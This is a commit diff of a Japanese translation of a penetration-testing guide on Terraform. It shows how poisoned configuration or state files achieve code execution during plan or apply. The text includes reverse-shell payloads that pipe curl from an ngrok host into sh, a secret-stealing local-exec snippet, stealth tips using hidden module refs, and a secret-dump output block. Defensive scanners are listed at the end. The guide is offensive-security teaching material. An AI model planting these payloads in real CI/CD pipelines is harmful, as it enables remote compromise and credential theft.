Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

This commit is contained in:
Translator
2025-01-05 20:58:45 +00:00
parent c017bc8756
commit 6b153d797f
3 changed files with 45 additions and 42 deletions

View File

@@ -6,7 +6,7 @@
[ドキュメントから:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
HashiCorp Terraformは、**インフラストラクチャをコードとして管理するツール**であり、**クラウドおよびオンプレミスのリソース**を人間が読みやすい設定ファイルで定義でき、これをバージョン管理、再利用、共有できます。これにより、一貫したワークフローを使用して、インフラストラクチャのライフサイクル全体を通じてプロビジョニングおよび管理できます。Terraformは、コンピュート、ストレージ、ネットワークリソースなどの低レベルコンポーネントを管理できるだけでなく、DNSエントリやSaaS機能などの高レベルコンポーネントも管理できます。
#### Terraformはどのように機能しますか
@@ -24,27 +24,27 @@ Terraformのコアワークフローは、3つのステージで構成されて
![](<../images/image (215).png>)
### Terraformラボ
### Terraform Lab
コンピュータにterraformをインストールしてください。
に[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
ちらに[ガイド](https://learn.hashicorp.com/tutorials/terraform/install-cli)があり、こちらにterraformをダウンロードする[最良の方法](https://www.terraform.io/downloads)があります。
## TerraformにおけるRCE: 設定ファイルの毒盛り
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、列挙することができません。したがって、Terraformを妥協させる唯一の方法は、**Terraform設定ファイルを追加/変更できること**または**Terraform状態ファイルを変更できること**です(下の章を参照)。
Terraformは、**ウェブページやネットワークサービスを公開するプラットフォームを持っていないため**、terraformを妥協させる唯一の方法は、**terraform設定ファイルを追加/変更できること**または**terraform状態ファイルを変更できること**です(下の章を参照)。
ただし、Terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。
しかし、terraformは**非常に敏感なコンポーネント**であり、適切に機能するために**特権アクセス**を持つさまざまな場所にアクセスする必要があります。
攻撃者がTerraformが実行されているシステムを妥協させる主な方法は、**Terraform設定を保存るリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
攻撃者がterraformが実行されているシステムを妥協させる主な方法は、**terraform設定を保存しているリポジトリを妥協させること**です。なぜなら、ある時点でそれらは**解釈される**からです。
実際、**PR**が作成された後に**Terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
実際、**PR**が作成された後に**terraform plan/applyを自動的に実行する**ソリューションが存在します。たとえば、**Atlantis**があります:
{{#ref}}
atlantis-security.md
{{#endref}}
Terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
terraformファイルを妥協させることができれば、誰かが`terraform plan`または`terraform apply`を実行したときにRCEを実行するさまざまな方法があります。
### Terraform plan
@@ -54,7 +54,7 @@ Terraform planは、Terraformで**最も使用されるコマンド**であり
Terraformは、Terraformと外部プログラムのインターフェースを提供する[`external`プロバイダー](https://registry.terraform.io/providers/hashicorp/external/latest/docs)を提供しています。`external`データソースを使用して、`plan`中に任意のコードを実行できます。
Terraform設定ファイルに次のようなものを注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
以下のようなものをterraform設定ファイルに注入すると、`terraform plan`を実行したときにリバースシェルが実行されます:
```javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
@@ -79,7 +79,7 @@ provider "evil" {}
例は[https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)で見つけることができます。
**外部リファレンス使用する**
**外部リファレンス使用**
前述の2つのオプションは便利ですが、あまりステルス性がありません2つ目はよりステルス性がありますが、1つ目よりも複雑です。この攻撃を**よりステルスな方法**で実行することもできます。以下の提案に従ってください:
@@ -91,12 +91,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
```
あなたは[https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)でrev shellコードを見つけることができます。
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコードを隠す**ことができます。例えば、次のようにします: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
- 外部リソースでは、**ref**機能を使用して、リポジトリ内の**ブランチにあるterraform rev shellコード**を隠すことができます。例えば、`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`のように。
### Terraform Apply
Terraform applyはすべての変更を適用するために実行されます。また、**悪意のあるTerraformファイルを**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**を注入してRCEを取得するために悪用することもできます。**\
`main.tf`ファイルにのようなペイロードが含まれていることを確認するだけです:
`main.tf`ファイルに以下のようなペイロードが含まれていることを確認するだけです
```json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
```
前の技術からの**提案に従って**、**外部参照を使用して**この攻撃を**よりステルス的に実行**します。
前の技術からの**提案に従って**、この攻撃を**外部参照を使用してよりステルス的に実行**します。
## Secrets Dumps
`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**することができます。terraformファイルに次のようなものを追加します:
`terraform apply`を実行することで**terraformによって使用される秘密の値をダンプ**するには、terraformファイルに次のようなものを追加します:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -130,7 +130,7 @@ Terraformステートファイルに書き込みアクセスがあるが、Terra
[カスタムプロバイダーを作成する](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider)ことが可能で、悪意のあるプロバイダーに対してTerraformステートファイル内のプロバイダーの1つを置き換えるか、悪意のあるプロバイダーを参照する偽のリソースを追加することができます。
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化します。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`ステップの両方で読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
プロバイダー[statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest)はこの研究に基づいており、この原則を武器化しています。偽のリソースを追加し、実行したい任意のbashコマンドを`command`属性に記述できます。`terraform`の実行がトリガーされると、これは`terraform plan`および`terraform apply`の両方のステップで読み取られ、実行されます。`terraform apply`ステップの場合、`terraform`はコマンドを実行した後、ステートファイルから偽のリソースを削除し、自身の後始末を行います。詳細情報と完全なデモは、[このプロバイダーのソースコードをホストしているGitHubリポジトリ](https://github.com/offensive-actions/terraform-provider-statefile-rce)で見つけることができます。
直接使用するには、`resources`配列の任意の位置に以下を含め、`name`および`command`属性をカスタマイズしてください:
```json
@@ -219,11 +219,11 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** は、インフラストラクチャをコードとして扱う (IaC) ための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析 (SCA) ツールでもあります。
**Checkov**は、インフラストラクチャをコードとして扱うIaCための静的コード分析ツールであり、画像やオープンソースパッケージのためのソフトウェア構成分析SCAツールでもあります。
それは、[Terraform](https://terraform.io/) 、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md) 、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md) 、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md) 、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md) 、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md) 、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md) 、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md) 、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md) 、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md) 、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md) 、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 、または [OpenTofu](https://opentofu.org/) を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティコンプライアンスの誤設定を検出します。
それは、[Terraform](https://terraform.io/)、[Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md)、[Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md)、[AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md)、[Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md)、[Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md)、[Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md)、[Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md)、[Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md)、[Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md)、[OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md)、[ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md)、または[OpenTofu](https://opentofu.org/)を使用してプロビジョニングされたクラウドインフラストラクチャをスキャンし、グラフベースのスキャンを使用してセキュリティおよびコンプライアンスの誤設定を検出します。
それは、オープンソースパッケージと画像のための一般的な脆弱性と露出 (CVE) のスキャンである [ソフトウェア構成分析 (SCA) スキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) を実行します。
それは、一般的な脆弱性および露出CVEに対するオープンソースパッケージと画像のスキャンである[ソフトウェア構成分析SCAスキャン](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)を実行します。
```bash
pip install checkov
checkov -d /path/to/folder
@@ -237,7 +237,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com
- **portable:** `pip`からインストールするか、`docker`経由で実行するだけです。 [Installation](https://terraform-compliance.com/pages/installation/)を参照してください。
- **pre-deploy:** デプロイされる前にコードを検証します。
- **easy to integrate:** パイプラインまたはgitフックで実行して、すべてのデプロイが検証されることを保証できます。
- **segregation of duty:** 別のチームが責任を持つ異なるリポジトリにテストを保持できます。
- **segregation of duty:** テストを別のリポジトリに保管し、別のチームが責任を持つことができます。
> [!NOTE]
> 残念ながら、コードがアクセスできないプロバイダーを使用している場合、`terraform plan`を実行してこのツールを使用することはできません。
@@ -267,7 +267,7 @@ tfsec /path/to/folder
```
### [KICKS](https://github.com/Checkmarx/kics)
インフラストラクチャコードとして扱う開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
インフラストラクチャコード開発サイクルの初期段階で、セキュリティの脆弱性、コンプライアンスの問題、およびインフラストラクチャの誤設定を早期に発見するために、Checkmarxの**KICS**を使用してください。
**KICS**は**K**eeping **I**nfrastructure as **C**ode **S**ecureの略で、オープンソースであり、クラウドネイティブプロジェクトには必須です。
```bash
@@ -275,13 +275,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、のことができます。
From the [**docs**](https://github.com/tenable/terrascan): Terrascanは、Infrastructure as Codeのための静的コード分析ツールです。Terrascanを使用すると、以下のことが可能です:
- インフラストラクチャコードとしてシームレスにスキャンし、誤設定を検出します。
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを導入し、セキュアなポスチャーに戻すことを可能にします。
- インフラストラクチャコードシームレスにスキャンし、誤設定を検出します。
- プロビジョニングされたクラウドインフラストラクチャの構成変更を監視し、ポスチャードリフトを引き起こす変更を検出し、安全なポスチャーに戻すことを可能にします。
- セキュリティの脆弱性やコンプライアンス違反を検出します。
- クラウドネイティブインフラストラクチャをプロビジョニングする前にリスクを軽減します。
- ローカルで実行する柔軟性やCI\CDと統合を提供します。
- ローカルで実行する柔軟性やCI\CDと統合することができます。
```bash
brew install terrascan
```
@@ -290,4 +290,7 @@ brew install terrascan
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/h
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
{{#include ../banners/hacktricks-training.md}}